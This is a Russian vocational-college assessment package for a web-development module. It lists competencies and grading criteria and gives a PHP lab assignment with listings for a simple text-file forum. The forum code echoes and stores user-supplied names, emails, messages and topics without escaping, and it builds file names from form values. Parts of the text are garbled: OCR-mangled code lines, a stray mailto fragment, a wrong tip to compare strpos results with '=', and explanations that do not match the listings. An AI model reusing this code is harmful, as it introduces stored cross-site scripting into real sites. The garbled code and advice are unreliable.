


 

1. Общие положения 

Результатом освоения профессионального модуля является готовность студента к 

выполнению вида профессиональной деятельности 

Проектирование, разработка и оптимизация веб-приложений 
и составляющих его профессиональных компетенций, а также общие компетенции, 

формирующиеся в процессе освоения ППКРС в целом. 

Формой аттестации по профессиональному модулю является экзамен по модулю. 

Итогом этого экзамена является однозначное решение: «вид профессиональной 

деятельности освоен / не освоен». 

2. Результаты освоения модуля, подлежащие проверке 

2.1. Профессиональные и общие компетенции 

В результате контроля и оценки по профессиональному модулю осуществляется 

комплексная проверка следующих профессиональных и общих компетенций 

Профессиональные компетенции Показатели оценки результата 
ПК 9.1 Разрабатывать техническое задание на 

веб-приложение в соответствии с 

требованиями заказчика 

Осуществлять сбор предварительных данных для 

выявления требований к веб-приложению. 

Определять первоначальные требования заказчика к 

веб-приложению и возможности их реализации. 

Подбирать оптимальные варианты реализации задач и 

согласование их с заказчиком. 

Оформлять техническое задание. 

ПК 9.2 Разрабатывать веб-приложение в 

соответствии с техническим заданием 

Выполнять верстку страниц веб-приложений. 

Кодировать на языках веб-программирования. 

Разрабатывать базы данных. 

Использовать специальные готовые технические 

решения при разработке веб-приложений. 

Выполнять разработку и проектирование 

информационных систем. 

ПК 9.3 Разрабатывать интерфейс 

пользователя веб-приложений в соответствии 

с техническим заданием 

Разрабатывать интерфейс пользователя. 

Разрабатывать анимационные эффекты 

ПК 9.4 Осуществлять техническое 

сопровождение и восстановление веб-

приложений в соответствии с техническим 

заданием 

Устанавливать и настраивать веб-серверы, СУБД для 

организации работы веб-приложений. 

Использовать инструментальные средства контроля 

версий и баз данных. 

Проводить работы по резервному копированию веб-

приложений. 

Выполнять регистрацию и обработку запросов 

Заказчика в службе технической поддержки. 

ПК 9.5 Производить тестирование 

разработанного веб приложения 

Использовать инструментальные средства контроля 

версий и баз данных, учета дефек-тов. 

Тестировать веб-приложения с точки зрения 

логической целостности. 

Тестировать интеграцию веб-приложения с внешними 

сервисами и учетными система-ми. 

ПК 9.6 Размещать веб приложения в сети в 

соответствии с техническим заданием 

Публиковать веб-приложения на базе хо-стинга в сети 

Интернет 

ПК 9.7 Осуществлять сбор статистической 

информации о работе веб-приложений для 

анализа эффективности его работы 

Реализовывать мероприятия по продвиже-нию веб-

приложений в сети Интернет. 

Собирать и предварительно анализировать 



 

статистическую информацию о работе веб-

приложений. 

ПК 9.8 Осуществлять аудит безопасности веб-

приложения в соответствии с регламентами 

по безопасности 

Обеспечивать безопасную и бесперебойную работу. 

ПК 9.9 Модернизировать веб-приложение с 

учетом правил и норм подготовки 

информации для поисковых систем. 

Модернизировать веб-приложения с учетом правил и 

норм подготовки информации для поисковых систем. 

ПК 9.10 Реализовывать мероприятия по 

продвижению веб-приложений в сети 

Интернет 

Реализовывать мероприятия по продвиже-нию веб-

приложений в сети Интернет. 

Собирать и предварительно анализировать 

статистическую информацию о работе веб-

приложений. 

 

 

Общие компетенции Показатели оценки результата 

ОК 1. Выбирать способы решения 

задач профессиональной деятельности, 

применительно к различным контекстам 

 - распознавать задачу и/или проблему в 

профессиональном и/или социальном контексте; 

анализировать задачу и/или проблему и выделять 

её составные части; определять этапы решения 

задачи; выявлять и эффективно искать 

информацию, необходимую для решения задачи 

и/или проблемы; составить план действия; 

определить необходимые ресурсы; 

владеть актуальными методами работы в 

профессиональной и смежных сферах; 

реализовать составленный план; оценивать 

результат и последствия своих действий 

(самостоятельно или с помощью наставника) 

ОК 2. Осуществлять поиск, анализ и 

интерпретацию информации, 

необходимой для выполнения задач 

профессиональной деятельности 

- определять задачи для поиска информации; 

определять необходимые источники информации; 

планировать процесс поиска; структурировать 

получаемую информацию; выделять наиболее 

значимое в перечне информации; оценивать 

практическую значимость результатов поиска; 

оформлять результаты поиска. 

ОК 3. Планировать и реализовывать 

собственное профессиональное и 

личностное развитие. 

- определять актуальность нормативно-правовой 

документации в профессиональной деятельности; 

применять современную научную 

профессиональную терминологию; определять и 

выстраивать траектории профессионального 

развития и самообразования 

ОК 4. Работать в коллективе и команде, 

эффективно взаимодействовать с 

коллегами, руководством, клиентами. 

- находить и использовать информацию для 

эффективного выполнения профессиональных 

задач, профессионального и личностного 

развития. 

ОК 5. Осуществлять устную и 

письменную коммуникацию на 

государственном языке с учетом 

особенностей социального и культурного 

контекста. 

- грамотно излагать свои мысли и оформлять 

документы по профессиональной тематике на 

государственном языке, проявлять толерантность 

в рабочем коллективе 

ОК 6. Проявлять гражданско-

патриотическую позицию, 

демонстрировать осознанное поведение 

на основе традиционных 

общечеловеческих ценностей. 

- описывать значимость своей специальности 



 

ОК 7. Содействовать сохранению 

окружающей среды, ресурсосбережению, 

эффективно действовать в чрезвычайных 

ситуациях. 

- соблюдать нормы экологической безопасности; 

определять направления ресурсосбережения в 

рамках профессиональной деятельности по 

специальности 

ОК 8. Использовать средства 

физической культуры для сохранения и 

укрепления здоровья в процессе 

профессиональной деятельности и 

поддержания необходимого уровня 

физической подготовленности 

- использовать физкультурно-оздоровительную 

деятельность для укрепления здоровья, 

достижения жизненных и профессиональных 

целей; применять рациональные приемы 

двигательных функций в профессиональной 

деятельности; пользоваться средствами 

профилактики перенапряжения характерными для 

данной специальности 

ОК 9. Использовать информационные 

технологии в профессиональной 

деятельности 

- применять средства информационных 

технологий для решения профессиональных задач; 

использовать современное программное 

обеспечение 

ОК 10 . Пользоваться профессиональной 

документацией на государственном и 

иностранном языках. 

  

- понимать общий смысл четко произнесенных 

высказываний на известные темы 

(профессиональные и бытовые), понимать тексты 

на базовые профессиональные темы; участвовать в 

диалогах на знакомые общие и профессиональные 

темы; строить простые высказывания о себе и о 

своей профессиональной деятельности; кратко 

обосновывать и объяснить свои действия 

(текущие и планируемые); писать простые 

связные сообщения на знакомые или 

интересующие профессиональные темы 

 

 

1.2. Иметь практический опыт – уметь – знать 

В результате изучения профессионального модуля студент должен: 

иметь практический опыт: 

ПО 1 В использовании специальных готовых технических решений при разработке 

веб-приложений;  

ПО 2 выполнении разработки и проектирования информационных систем;  

ПО 3 модернизации веб-приложений с учетом правил и норм подготовки 

информации для поисковых систем;  

ПО 4 реализации мероприятий по продвижению веб-приложений в сети Интернет 

 

уметь: 

У 1 разрабатывать программный код клиентской и серверной части веб-

приложений;  

У 2 осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в 

сети Интернет;  

У 3 разрабатывать и проектировать информационные системы 

 

знать: 

З 1 языки программирования и разметки для разработки клиентской и серверной 

части веб-приложений;  



 

З2 принципы функционирования поисковых сервисов и особенности оптимизации 

веб-приложений под них;  

З 3 принципы проектирования и разработки информационных систем 

 

2.  Формы промежуточной аттестации по профессиональному модулю 

Элемент модуля Форма контроля и оценивания 

Промежуточная аттестация Текущий контроль 

МДК.09.01 
Экзамен 

Выполнение лабораторных 

работ, практических работ. 

Курсовой проект 

МДК.09.02. Экзамен 
Выполнение лабораторных 

работ, практических работ. 

МДК.09.03 Экзамен 
Выполнение лабораторных 

работ, практических работ. 

УП.09 Дифференцированный зачет 
Выполнение учебно-

производственных работ 

ПП.09 Дифференцированный зачет 
Выполнение работы на 

производственной практике 

ПМ-09 Экзамен по модулю  

 

3. Комплекты КОС 
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Контрольно-оценочное средство  
 

 

Тип контрольного задания: Практические  работы 

 

Раздел 1. Проектирование и разработка  

веб-приложений 

  

Критерии оценки 

Оценка Критерии 

2 (не зачтено): студент не выполнил или выполнил неправильно задания практической 

(лабораторной) работы; студент ответил на контрольные вопросы с ошибками или не 

ответил на контрольные вопросы. 

3  (удовлетворительно): выполнены все задания практической (лабораторной) работы с 

замечаниями; студент ответил на все контрольные вопросы с замечаниями. 

4 (хорошо): выполнены все задания практической (лабораторной) работы; студент ответил на 

все контрольные вопросы с замечаниями. 

5 (отлично): выполнены все задания практической (лабораторной) работы, студент четко и без 

ошибок ответил на все контрольные вопросы. 

 

Составитель: 

Клочева Е.А.  преподаватель дисциплин 

общепрофессионального и 

профессионального цикла 

 

Сыктывкар 

2021 

 

 

Проверяемые результаты 

обучения:  

 ПО 1-2  У 1-3, З 1-3 



 

ОБЩИЕ ТРЕБОВАНИЯ К ВЫПОЛНЕНИЮ ЛАБОРАТОРНЫХ РАБОТ  

 

Целью проведения лабораторных работ является закрепление основных 

теоретических положений, изложенных в лекциях, на примере широко используемых в 

ГА  технологий PHP и ASP.NET. 

В процессе выполнения лабораторных работ студенты должны освоить приемы и 

методы: работы с PHP-машиной, сервисами и продуктами на платформе .Net . 

Лабораторная работа состоит из следующих этапов: 

1) домашняя подготовка; 

2) выполнение работы на компьютере в соответствии с заданием; 

3) сдача выполненной работы преподавателю на персональном компьютере; 

5) оформление отчета; 

5) защита лабораторной работы. 

В процессе домашней подготовки студент: 

- изучает лекционный материал, материалы по темам данного пособия и 

дополнительной литературы,  

- знакомится с заданием на выполнение лабораторной работы; 

- готовит отчет по выполнению лабораторной работы. 

ВЫПОЛНЕНИЕ лабораторной работы производится во время занятий в 

компьютерном классе ГПОУ «СЛТ» в присутствии преподавателя. В процессе 

выполнения лабораторной работы студент последовательно выполняет задание. По 

завершению работы - демонстрирует преподавателю результаты. 

СДАЧА РАБОТЫ преподавателю на персональном компьютере заключается в 

демонстрации выполненной работы и выполнении непосредственно при преподавателе 

индивидуального дополнительного  задания.  

 После ПРИЕМА преподавателем лабораторной работы на ПК студент: 

- сохраняет результаты лабораторной работы на сменном носителе, выданной 

преподавателем, в каталоге со своей фамилией.  

ОТЧЕТ по каждой лабораторной работе должен содержать: название работы; цель 

лабораторной работы; задание на выполнение лабораторной работы; краткие 

комментарии по выполнению лабораторной работы; распечатки файлов результатов, 

подписанные преподавателем. 

ЗАЩИТА лабораторной работы преподавателю проводится по контрольным 

вопросам и при наличии оформленного отчета (распечатки должны быть приклеены). 

После защиты лабораторной работы делается соответствующая запись на отчете 

студента. 

1. Лабораторная работа «Создание серверных сценариев с 

использованием технологии PHP» 

Цель лабораторной работы: получение навыков работы с языком серверных 

скриптов –PHP, создание сценария форума и элементов системы формирования заказов 

через Internet. 

Задание на выполнение лабораторной работы  

Разработать программу и сценарий форума с использованием PHP-кода, 

встроенного в HTML-код, позволяющую любому пользователю: 

открыть тему для обсуждения, 

высказать свое мнение по уже открытой теме. 

Предусмотреть проверку  вводимой  пользователем информации, если название 

темы или сообщение  не введены,  то выполнение сценария завершается, и 



 

пользователю выдаются сообщения об ошибке  с возможностью вернуться с помощью 

кнопки «Назад». 

База данных должна создаваться динамически, на основе простых текстовых 

файлов:  в файл tems.txt записывать название тем,   в файл nN.txt записывать количество 

сообщений по теме с номером N, в файл mN.txt записывать  сообщения по теме с 

номером N. 

Проводится анализ вводимой темы форума на совпадение с имеющимися в базе 

данных. В случае совпадения тема не добавляется. 

Проверяется корректность адресов электронной почты, вводимых 

пользователями. Для этого использовать механизм регулярных выражений. 

Предусмотреть: 

переменную, определяющую высоту окна компонента выбора тем. Если 

количество тем не превышает заданной величины, например, 5, то высота определяется 

количеством тем, если превышает значение 5, высота остается равной 5. При этом  

должна появляться полоса вертикальной прокрутки; 

- HTML-форму с окном Select и кнопкой Submit для передачи содержимого  

формы в файл look.php, управляющий просмотром содержания дискуссий по темам,  

- кнопку Submit  «Отправить в форум» для передачи содержимого  формы в файл 

add.php 

Управляющие файлы index.php, look.php, add.php разместить в папке forum. 

Разработать программу, содержащую  элементы системы формирования заказов 

через Internet: 

включить проверку корректности адреса электронной почты,  

заказ отправляется в виде текста, с возможностью проверки и дополнения; 

заказ передается на сервер в базу данных последовательно; 

если по каким-либо причинам заказ оказался незавершенным, по истечении  

определенного промежутка времени заказ аннулируется; 

оперативные данные о покупателях хранить в текстовом файле list.txt, 

завершенные заказы заносить в файл order.txt; 

каждый клиент связан со своей сессией, каждая сессия, соответственно, содержит 

информацию о поведении своего клиента. 

Управляющие файлы index.php, look.php, send.php разместить в папке zakaz. 

Основные теоретические сведения 

Под форумом понимается программа, позволяющая любому желающему открыть 

тему для обсуждения, а также высказать свое мнение по уже открытой теме. 

Разрабатываемый в данной лабораторной работе форум сделан простым, но достаточно 

функциональным. Он состоит из 4-х файлов управления. База данных создается 

динамически, на основе  простых текстовых файлов. 

В общем виде синтаксис определения функции PHP следующий: 

function имя_функции(арг1[=зн1], арг2[=зн2], ... аргN[=знN]) 

{ операторы_тела_функции; } 

Имя функции должно быть уникальным с точностью до регистра букв. Это 

означает, что, во-первых, имена MyFunction, myfunction и даже MyFuNcTiOn будут 

считаться одинаковыми, и, во-вторых, мы не можем переопределить уже определенную 

функцию (стандартную или нет — не важно), но зато можем давать функциям такие же 

имена, как и переменным в программе (конечно, без знака $ в начале). Список 

аргументов, состоит из нескольких перечисленных через запятую переменных, каждую 

из которых необходимо  задать при вызове функции (впрочем, когда для этой 

переменной присвоено через знак равенства значение по умолчанию (обозначенное 

=знM), ее можно будет опустить. Конечно, если у функции не должно быть аргументов 



 

(как это сделано у функции time()), то следует оставить пустые скобки после ее имени, 

например: 

function SimpleFunction() { ... } 

В фигурные скобки заключается тело функции. В нем могут быть любые 

операторы, включая даже операторы определения других функций (правда, эти "другие 

функции" не будут локальными, а станут далее "видны" для всей программы, но только 

с того момента, как до их описания дойдет управление). Если функция должна 

возвращать какое-то значение, что среди них должен встретиться оператор return. Если 

же она должна отработать без возврата значений, то оператор return можно и не 

указывать (или указывать без задания возвращаемого значения). 

2.3.1.  Базовые функции 

1)  int strlen(string $st) 

Одна из наиболее полезных функций. Возвращает просто длину строки, т. е., 

сколько символов содержится в $st.  Строка может содержать любые символы, в том 

числе и с нулевым кодом (что запрещено в Си). Функция strlen() будет правильно 

работать и с такими строками. 

2) int strpos(string $where, string $what, int $fromwhere=0) 

Данная функция выполняет поиск в строке $where подстроки (то есть 

последовательности символов) $what и в случае успеха возвращает позицию (индекс) 

этой подстроки в строке. Первый символ строки, как и в Си, имеет индекс 0. 

Необязательный параметр $fromwhere можно задавать, если поиск нужно вести не с 

начала строки $from, а с какой-то другой позиции. В этом случае следует эту позицию 

передать в $fromwhere. Если подстроку найти не удалось, функция возвращает false. 

Однако, проверяя результат вызова strpos() на false - используйте для этого только 

оператор =. 

3) string substr(string $str, int $from [,int $length]) 

Назначение данной функции — возвращать участок строки $str, начиная с 

позиции $start и длиной $length. Если $length не задана, то подразумевается подстрока 

от $start до конца строки $str. Если $start больше, чем длина строки, или же значение 

$length равно нулю, то возвращается пустая подстрока. Однако эта функция может 

делать и еще довольно полезные вещи. К примеру, если мы передадим в $start 

отрицательное число, то будет считаться, что это число является индексом подстроки, 

но только отсчитываемым от конца $str (например, -1 означает "начиная с последнего 

символа строки"). Параметр $length, если он задан, тоже может быть отрицательным. В 

этом случае последним символом возвращенной подстроки будет символ из $str с 

индексом $length, определяемым от конца строки. 

4) int strcmp(string $str1, string $str2) 

Сравнивает две строки посимвольно (точнее, побайтово) и возвращает: 0, если 

строки полностью совпадают; -1, если строка $str1 лексикографически меньше $str2; и 1, 

если, наоборот, $str1 "больше" $str2. Так как сравнение идет побайтово, то регистр 

символов влияет на результаты сравнений. 

5) int strcasecmp(string $str1, string $str2) 

То же самое, что и strcmp(), только при работе не учитывается регистр букв. 

Например, с точки зрения этой функции "ab" и "AB" равны. 

   

2.3.2. Открытие файла 

Работа с файлами в PHP разделяется на три этапа. Сначала файл открывается в 

нужном режиме, при этом возвращается некое целое число, служащее идентификатором 

открытого файла (дескриптор файла). Затем настает очередь команд аботы с файлом 

(чтение или запись, или и то и другое), причем они "привязаны" уже к дескриптору 

файла, а не к его имени. После этого файл лучше всего закрыть (хотя это можно и не 



 

делать, поскольку PHP автоматически закрывает все файлы по завершении сценария). 

Например,  

int fopen(string $filename, string $mode, bool $use_include_path=false) 

В приведенном примере функция открывает файл с именем $filename в режиме 

$mode и возвращает дескриптор открытого файла. Если файл не был открыт, то, как это 

принято, fopen() возвращает false.  

Необязательный параметр $use_include_path говорит PHP о том, что, если задано 

относительное имя файла, его следует искать также и в списке путей, используемом 

инструкциями include и require. Обычно этот параметр не используют. 

Параметр $mode может принимать следующие значения: 

 - r r — файл открывается только для чтения. Если файла не существует, вызов 

регистрирует ошибку. После удачного открытия указатель файла устанавливается на его 

первый байт, т. е. на начало; 

 - r r+ — файл открывается одновременно на чтение и запись. Указатель текущей 

позиции устанавливается на его первый байт. Как и для режима r, если файла не 

существует, возвращается false. Следует отметить, что если в момент записи указатель 

файла установлен где-то в середине файла, то данные запишутся прямо поверх уже 

имеющихся, а не "раздвинут" их, при необходимости увеличив размер файла; 

 - r w — создает новый пустой файл. Если на момент вызова уже был файл с 

таким именем, то он предварительно уничтожается. В случае неверно заданного имени 

файла вызов не выполняется; 

.- r w+ — аналогичен r+, но если файла изначально не существовало, создает его. 

После этого с файлом можно работать как в режиме чтения, так и записи. Если файл 

существовал до момента вызова, его содержимое удаляется; 

 - r a — открывает существующий файл в режиме записи, и при этом сдвигает 

указатель текущей позиции за последний байт файла. Этот режим полезен, если 

требуется что-то дописать в конец уже имеющегося файла. Вызов неуспешен в случае 

отсутствия файла; 

 - r a+ — открывает файл в режиме чтения и записи, указатель файла 

устанавливается на конец файла, при этом содержимое файла не уничтожается. 

Отличается от  значения  a тем, что если файла изначально не существовало, то он 

создается. Этот режим полезен, если необходимо  дописать в файл (например, в 

журнал), но не известно, создан ли уже такой файл. 

Кроме этого,  в конце любой из строк r, w, a, r+, w+ и a+ может находиться еще 

один необязательный символ — b или t. Если указан b (или не указан вообще никакой), 

то файл открывается в режиме бинарного чтения/записи. Если же это t, то для файла 

устанавливается режим трансляции символа перевода строки, т. е. он воспринимается 

как текстовый. 

2.3.3.  Конструкция foreach 

Данный оператор цикла является новым, и используется только начиная с  РНР 4. 

Аналогичный оператор можно найти в Perl. Он призван упростить последовательную 

обработку всех элементов массива. Существуют две системы синтаксиса для этого 

oneратора: 

Foreach (array_expression as $value) выражения 

Foreach (array_expression as $key => $value) выражения 

В первом случае значения переменных массива по очереди присваиваются 

переменной $value, над которой производятся действия. В итоге получается 
своеобразный указатель на то или иное значение переменной из необходимого массива. 

Второй способ аналогичен первому, только в этом случае помимо значения 

переменной будет еще использоваться и ключ, т. е. обозначение этой переменной.  

  



 

2.3.4.  Классы объектов в PHP 

Более сложным структурным компонентом программы (по сравнению с 

функцией) является объект. Для примера будем рассматривать класс объектов как 

расширение понятия функции. У функции в качестве аргументов были переменные, и то 

необязательно. У класса объектов в качестве аргументов могут быть тоже переменные 

(их обычно называют свойствами объекта класса). Но у класса объектов в качестве 

аргументов имеются и функции (их обычно называют методами). Упрощенно можно 

сказать, что класс объектов — это связанная совокупность переменных и функций, 

В web-документах часто приходится применять различные формы для ввода 

пользователем данных. После щелчка на кнопке отправки данных данные отправляются 

в файл-сценарий и там обрабатываются. Рассмотрим простейшую форму с названием 

поля ввода, самим полем ввода и кнопкой для отправки данных. Класс таких объектов 

представлен ниже: 

<?php 

class input 

{ 

 var $nam,$act; 

   function form_param($nam,$act) 

 { 

    $this-> nam = $nam; 

    $this-> act = $act; 

 } 

    function form_input() 

        { 

        echo "<form action=$this->act> 

        Input <input type='text' name=$this->nam> 

  <input type='submit'value='Send'> 

  </form>"; 

        } 

 } 

$myinput = new input; 

$myinput->form_param('user','script.php'); 

$myinput->form_input(); 

 

После ключевого слова class во второй строке стоит имя, которое  дается этому 

классу, например, input. Далее в операторных скобках (третья и предпоследняя строки) 

пишется собственно класс объектов простой формы ввода данных. Наш класс состоит из 

двух переменных и двух функций. Переменными  обозначим имя поля ввода — $nam и 

имя сценария, куда введенные данные будут отправляться для обработки — $act. Имена 

переменных введены через запятую, после ключевого слова var. Первая функция 

form_param() служит для приема значений переменных $nam и $act извне. 

Синтаксическое построение $this->nam = $nam упрощенно можно перевести так: в этом 

классе переменной пат присваивается введенное значение переменной $nam. 

Аналогично и для второй строки. 

 Следующая функция formjnputQ генерирует в веб-документе простую форму с 

именем поля ввода, равным значению nam. Action для формы будет равно значению act. 

Синтаксическое построение $this->act означает, что в качестве имени action берется 

значение переменной act этого же класса.  

Чтобы получить форму в веб-документ и на экран, нужно, во-первых, создать 

конкретный объект нашего класса и, во-вторых, вызвать этот объект. 

Дополним предудущий сценарий следующими тремя строками в конце: 



 

Smylnput = new Input; 

$myinput->fonn_param('user'.'script.php'): $my1nput->forin_1nput(): 

$myinput — это имя  конкретного объекта (экземпляр объекта класса) из класса 

input, оператор new — это специальный оператор-конструктор, создающий конкретный 

экземпляр объекта  класса.  

Вторую строку можно перевести так: значения переменных $nam и $act следует 

принять равными user и script.php соответственно. И наконец, третья строка — 

сгенерируй форму. Это указания PHP-интерпретатору. Изменяя значения переменных 

$nam и $act во второй строке, можно получить-формы ввода с разными параметрами. У 

всех  форм название поля ввода будет Input 

 

2.3.5.  Примеры сценариев 

В приведенных примерах сценариев пронумерованы строки, которые относятся к 

PHP-коду.  Непронумерованные строки представляют собой простой HTML-код. 

Листинг файла index.php представлен ниже. 

 

<html><head><title>НАЗВАНИЕ ФОРУМА</title></head> 

<body bgcolor="#c0c0c0"><center> 

<table height="100%" width="100%"><tr><td align=center> 

<table BGCOLOR="f0f8ff" width="90%"><tr> 

<td width="20%"></td> 

<td width="60%" align=center><b> 

<font face="verdana" color="#ff0000">НАЗВАНИЕ ФОРУМА</td> 

<td align=right><a href="#">К сайту</a> 

</td></tr></table> 

<table BGCOLOR="f0f8ff" width="90%"><tr> 

<td align=center> 

<H5><font face="verdana"> 

<?php 

if(file_exists("tems.txt")){     1-я строка 

$t=@file("tems.txt");      2 

echo "<br>Темы обсуждения, их ".count($t);  3 

if(count($t)<5) $size=count($t);else $size=5;  4 

?> 

</h5></td></tr><tr><td align=center> 

<form action="look.php" method="POST">  5 

<select name="t[]" size="<?php echo $size;?>">  6 

<?php 

for($i=0;$i<count($t);$i++){     7 

echo "<option value=".$i.">".$t[$i];    8 

} 

$kt = count($t);       9 

echo"</select><br><br><input type='submit'  10    value='Посмотреть'></form>"; 

}else{         11 

$kt=0;        12 

echo"<br>НЕТ ТЕМ!";      13 

} 

?> 

</td></tr><tr><td align=center><br> 

<h5><font face="verdana">Новая тема - давайте обсудим следующее:</h5> 

</td></tr> 

mailto:$t=@file(%22tems.txt


 

<tr><td align=center> 

<form action="add.php" method="POST"> 

<font>Тема (до 50 зн.) <input name="tema" type="text" SIZE=50 

MAXLENGTH=55> 

</td></tr></table> 

<table BGCOLOR="f0f8ff" width="90%"><tr><td align=center> 

Имя (до 30 зн.) <input name="nam" type="text" SIZE=25 MAXLENGTH=35></td> 

<td align=center>Email <input name="mail" size=25 type="text"></td> 

</tr></table> 

<table BGCOLOR="f0f8ff" width="90%"><tr><td align=center> 

Текст базового сообщения (до 900 зн.)<br> 

<textarea name="mes" rows=10 cols=60 ></textarea> 

</td><tr><td align=center><br> 

<input name="N" type="hidden" value="<?php echo $kt;?>">  14 

<input name="add" type="hidden" value="ts">    15 

<input type="reset" value="Очистить"> 

<input type="submit" value="Отправить в форум"> 

</form></td></tr></table></td></tr></table></body></html> 

 

Файл index.php -  если тем обсуждения нет, то условие строки 1 (file_exists ( 

«tems.txt»)) не выполняется, и строки кода до 11-й пропускаются PHP-интерпретатором. 

В 12-й строке объявляем переменную — количество тем ($kt) и присваиваем ей 

значение 0. В 13-й строке выводится сообщение об отсутствии тем, которое вписывается 

в HTML-код. В 14-й строке скрытой переменной N присваивается, с помощью РНР-

вкрапления в HTML-код, значение, равное количеству тем ($kt), то есть 0.  Если условие 

в строке 1 выполняется, считываем названия тем в массив $t, и тогда в строке 3 выводим 

на экран сообщение о наличии тем и их количестве. count($t)  - количество элементов 

массива $t в точности совпадает с количеством тем. В строке 6 указываем, что имя 

компонента Select является массивом. Это потребуется для простой и корректной 

передачи выбранного значения из Select в РНР-сценарий.  Высоту окна устанавливаем 

равной значению $size, сформированного в 4-й строке. В 7-й и 8-й строках с помощью 

цикла создаем окно Select и заполняем его содержимым файла tems.txt. В качестве 

значения для составляющих Option устанавливаем номер шага цикла. В данном случае 

этот номер будет соответствовать индексу элемента массива. Напомним, что индексация 

элементов массива начинается с нуля. В 9-й строке устанавливаем значение переменной 

количества тем ($kt) равным размерности массива count($t). Кнопка Submit со значением 

«Отправить в форум» в нижней форме отправляет к файлу-сценарию add.php, передавая 

ему переменную- удостоверение с именем add. Кнопка Submit со значением «Отправить 

в форум»  отправляет к файлу-сценарию аdd1.php, передавая ему переменную с именем 

add. 

Листинг файла add1.php представлен ниже.  

 

<?php 

      if ((isset($_POST['add']))&&($_POST['add']=="t")){ 

echo"<html><title>Добавление по теме</title><body>"; 

if (!empty($_POST['nam']))$tn=$_POST['nam'];else $tn='MisterX'; 

if (!empty($_POST['mail']))$te=($_POST['mail']);else $te='не введён'; 

if (!empty($_POST['mes']))$t2=($_POST['mes']);else { 

exit("<table cellspacing='5' cellpadding='5' width='100%' height='100%'> 

<tr><td><center><H3>Не введено сообщение!</h3><br> 

<INPUT TYPE='button' VALUE='НАЗАД' onClick='history.go(-1)'> 



 

</td></tr></table>"); 

} 

if ((!empty($_POST['N1']))||($_POST['N1']==0))$N1=($_POST['N1']);else{ 

exit("<center>Неопознанная ошибка! Попробуйте ещё раз!<br> 

<br><a href='index.php'><H4>Назад</h4></a>"); 

} 

$N1++; 

$dat = date("d m y H:i"); 

$km = file("n".$N1.".txt"); 

$km[0]++; 

$fp = @fopen("n".$N1.".txt","w"); 

fputs($fp,$km[0]); 

fclose($fp); 

$fp = @fopen("m".$N1.".txt", "a"); 

fwrite ($fp, "   ".$dat." пишет ".$tn."  Email ".$te."\n   ".$t2."\n\n"); 

fclose ($fp); 

exit("<table cellspacing='5' cellpadding='5' width='100%' height='100%'> 

<tr><td><center><H3>Ваше сообщение успешно загружено!</h3> 

<br><a href='index.php'><H4>НА ФОРУМ</h4></a></td></tr></table> 

</body></html>"); 

} 

?>  

Файл add1.php -  первой строке проверяется скрытая переменная-удостоверение, 

только при ее наличии и верном значении будет выполняться этот сценарий. После 

условия стоят операторные фигурные скобки, в которые заключен весь остальной код. 

Во второй строке выводится стандартный начальный HTML-код. С 3-й по 8-ю строки 

проверяется ввод пользователем информации. Если название темы или сообщение не 

введены, выполнение сценария завершается, и пользователю выдаются сообщения об 

ошибке с возможностью вернуться при помощи кнопки назад для повторного ввода 

данных. В строке 8 тоже проверяется скрытая переменная N, которая содержит 

информацию о количестве тем, и поскольку она, в принципе, может равняться нулю, 

условие выставлено составное. Оно состоит из двух условий, соединенных логическим 

оператором ИЛИ. В РНР он записывается символом «||». Составное условие звучит так: 

если переменная не пустая или равна нулю. Переменная N передается сценарию из 

файла index.php напрямую. Ее отсутствие либо связано с ошибкой web-сервера, либо 

обусловлено причинами нештатного характера. В любом случае дальнейшее 

выполнение сценария невозможно. Поэтому сценарий завершается, и пользователь 

получает соответствующее уведомление с гиперссылкой для возврата к исходной 

странице. В 9-й и 10-й строках увеличиваем на 1 значение количества тем ($N++) и 

вносим текущую дату и время в переменную $dat. В строках 11-13 открываем файл 

tems.txt и добавляем в него текст названия темы из переменной $tema. 

Атрибутом Action формы  в файле index.php является файл  look.php.  .Листинг 

файла look.php представлен ниже. 

 

<html><head><title>Тема</title></head><body bgcolor='#c0c0c0'> 

<table height='100%' width='100%'><tr><td align=center> 

<?php 

if (isset($_POST['t']))$n = $_POST['t'];else exit("Тема не выбрана!<br> 

<br><INPUT TYPE='button' VALUE='НАЗАД' onClick='history.go(-1)'>"); 

$n1 = $n[0]; 

$N = $n[0]+1; 



 

?> 

<center><table BGCOLOR='f0f8ff' width='90%'><tr><td width='20%'></td> 

<td width='60%' align=center><b> 

<font face='verdana' color='#ff0000'>НАЗВАНИЕ ФОРУМА</td> 

<td align=right><a href='#'>К сайту</a></td></tr></table> 

<table BGCOLOR='f0f8ff' width='90%'> 

<tr><td align=center> 

<font face="verdana"> 

<?php 

$ts=file("tems.txt"); 

$tn = file("n".$N.".txt"); 

echo"<br><b>Тема: $ts[$n1]</b><br>"."</font> 

<br>Есть такие мнения по этой теме, их $tn[0]"; 

?> 

</td></tr></table> 

<table BGCOLOR="f0f8ff" width="90%"><tr><td> 

<center><TEXTAREA ROWS=15 COLS=60> 

<?php 

$t=file("m".$N.".txt"); 

foreach ($t as $line) 

echo $line; 

?> 

</TEXTAREA> 

</td></tr></table> 

<table BGCOLOR="f0f8ff" width="90%"><tr><td align=center><br> 

<form action="index.php" method="POST"> 

<H5><input type="submit" value="Вернуться к темам"> 

<font face="verdana" color="#0000ff">или ниже добавить к этой теме:</h5> 

</form> 

</td></tr></table> 

<table BGCOLOR="f0f8ff" width="90%"><tr><td align=center> 

<form action="add1.php" method="POST"> 

Имя (до 30 зн.) <input name="nam" type="text" SIZE=25 

MAXLENGTH=35></td></tr> 

<tr><td align=center>Email <input name="mail" type="text"></td> 

</tr></table> 

<table BGCOLOR="f0f8ff" width="90%"><tr> 

<td align=center> 

<table width="100%"><tr><td align=center> 

Добавление к этой теме (до 900 зн.)<br> 

<textarea name="mes" rows=10 cols=50 ></textarea> 

</td></tr></table> 

</td><tr><td align=center><br> 

<input name="N1" type="hidden" value="<?php echo $n[0] ;?>"> 

<input name="add" type="hidden" value="t"> 

<input type="reset" value="Очистить"> 

<input type="submit" value="Отправить в форум"> 

</form> 

</td></tr></table> 

</td></tr></table> 

</body> 



 

</html> 

Результат выполнения файла  представлен на рис 1 

 

 НАЗВАНИЕ ФОРУМА К сайту  

 

 

 

Новая тема - давайте обсудим следующее: 

Тема (до 50 зн.)  

 

Имя (до 30 зн.)  Email  

Текст базового сообщения (до 900 зн.) 

 

 

Очистить Отправить в форум
 

 

Рис. 1. Вид главной страницы форума при отсутствии тем 

 

Результат  успешного добавления темы  представлен на Рисунок 2.2:  

 

 

Рис. 2. Вид главной страницы при успешном добавлении темы 

 



 

Ниже приведен вариант текста скрипта add.php с проверкой корректность адресов 

электронной почты: 

 

1 <html> 

